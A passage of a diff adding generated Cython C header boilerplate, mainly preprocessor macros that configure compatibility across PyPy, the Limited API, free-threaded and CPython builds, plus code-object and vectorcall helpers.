CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_DefaultClassType PyClass_Type + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_DefaultClassType PyType_Type +#if CYTHON_COMPILING_IN_LIMITED_API + static CYTHON_INLINE PyObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyObject *exception_table = NULL; + PyObject *types_module=NULL, *code_type=NULL, *result=NULL; + #if __PYX_LIMITED_VERSION_HEX < 0x030B0000 + PyObject *version_info; + PyObject *py_minor_version = NULL; + #endif + long minor_version = 0; + PyObject *type, *value, *traceback; + PyErr_Fetch(&type, &value, &traceback); + #if __PYX_LIMITED_VERSION_HEX >= 0x030B0000 + minor_version = 11; + #else + if (!(version_info = PySys_GetObject("version_info"))) goto end; + if (!(py_minor_version = PySequence_GetItem(version_info, 1))) goto end; + minor_version = PyLong_AsLong(py_minor_version); + Py_DECREF(py_minor_version); + if (minor_version == -1 && PyErr_Occurred()) goto end; + #endif + if (!(types_module = PyImport_ImportModule("types"))) goto end; + if (!(code_type = PyObject_GetAttrString(types_module, "CodeType"))) goto end; + if (minor_version <= 7) { + (void)p; + result = PyObject_CallFunction(code_type, "iiiiiOOOOOOiOO", a, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else if (minor_version <= 10) { + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, fline, lnos, fv, cell); + } else { + if (!(exception_table = PyBytes_FromStringAndSize(NULL, 0))) goto end; + result = PyObject_CallFunction(code_type, "iiiiiiOOOOOOOiOO", a,p, k, l, s, f, code, + c, n, v, fn, name, name, fline, lnos, exception_table, fv, cell); + } + end: + Py_XDECREF(code_type); + Py_XDECREF(exception_table); + Py_XDECREF(types_module); + if (type) { + PyErr_Restore(type, value, traceback); + } + return result; + } + #ifndef CO_OPTIMIZED + #define CO_OPTIMIZED 0x0001 + #endif + #ifndef CO_NEWLOCALS + #define CO_NEWLOCALS 0x0002 + #endif + #ifndef CO_VARARGS + #define CO_VARARGS 0x0004 + #endif + #ifndef CO_VARKEYWORDS + #define CO_VARKEYWORDS 0x0008 + #endif + #ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x0200 + #endif + #ifndef CO_GENERATOR + #define CO_GENERATOR 0x0020 + #endif + #ifndef CO_COROUTINE + #define CO_COROUTINE 0x0080 + #endif +#elif PY_VERSION_HEX >= 0x030B0000 + static CYTHON_INLINE PyCodeObject* __Pyx_PyCode_New(int a, int p, int k, int l, int s, int f, + PyObject *code, PyObject *c, PyObject* n, PyObject *v, + PyObject *fv, PyObject *cell, PyObject* fn, + PyObject *name, int fline, PyObject *lnos) { + PyCodeObject *result; + PyObject *empty_bytes = PyBytes_FromStringAndSize("", 0); + if (!empty_bytes) return NULL; + result = + #if PY_VERSION_HEX >= 0x030C0000 + PyUnstable_Code_NewWithPosOnlyArgs + #else + PyCode_NewWithPosOnlyArgs + #endif + (a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, name, fline, lnos, empty_bytes); + Py_DECREF(empty_bytes); + return result; + } +#elif PY_VERSION_HEX >= 0x030800B2 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_NewWithPosOnlyArgs(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#else + #define __Pyx_PyCode_New(a, p, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) +#endif +#endif +#if PY_VERSION_HEX >= 0x030900A4 || defined(Py_IS_TYPE) + #define __Pyx_IS_TYPE(ob, type) Py_IS_TYPE(ob, type) +#else + #define __Pyx_IS_TYPE(ob, type) (((const PyObject*)ob)->ob_type == (type)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_Is) + #define __Pyx_Py_Is(x, y) Py_Is(x, y) +#else + #define __Pyx_Py_Is(x, y) ((x) == (y)) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsNone) + #define __Pyx_Py_IsNone(ob) Py_IsNone(ob) +#else + #define __Pyx_Py_IsNone(ob) __Pyx_Py_Is((ob), Py_None) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsTrue) + #define __Pyx_Py_IsTrue(ob) Py_IsTrue(ob) +#else + #define __Pyx_Py_IsTrue(ob) __Pyx_Py_Is((ob), Py_True) +#endif +#if PY_VERSION_HEX >= 0x030A00B1 || defined(Py_IsFalse) + #define __Pyx_Py_IsFalse(ob) Py_IsFalse(ob) +#else + #define __Pyx_Py_IsFalse(ob) __Pyx_Py_Is((ob), Py_False) +#endif +#define __Pyx_NoneAsNull(obj) (__Pyx_Py_IsNone(obj) ? NULL : (obj)) +#if PY_VERSION_HEX >= 0x030900F0 && !CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_GC_IsFinalized(o) PyObject_GC_IsFinalized(o) +#else + #define __Pyx_PyObject_GC_IsFinalized(o) _PyGC_FINALIZED(o) +#endif +#ifndef CO_COROUTINE + #define CO_COROUTINE 0x80 +#endif +#ifndef CO_ASYNC_GENERATOR + #define CO_ASYNC_GENERATOR 0x200 +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if 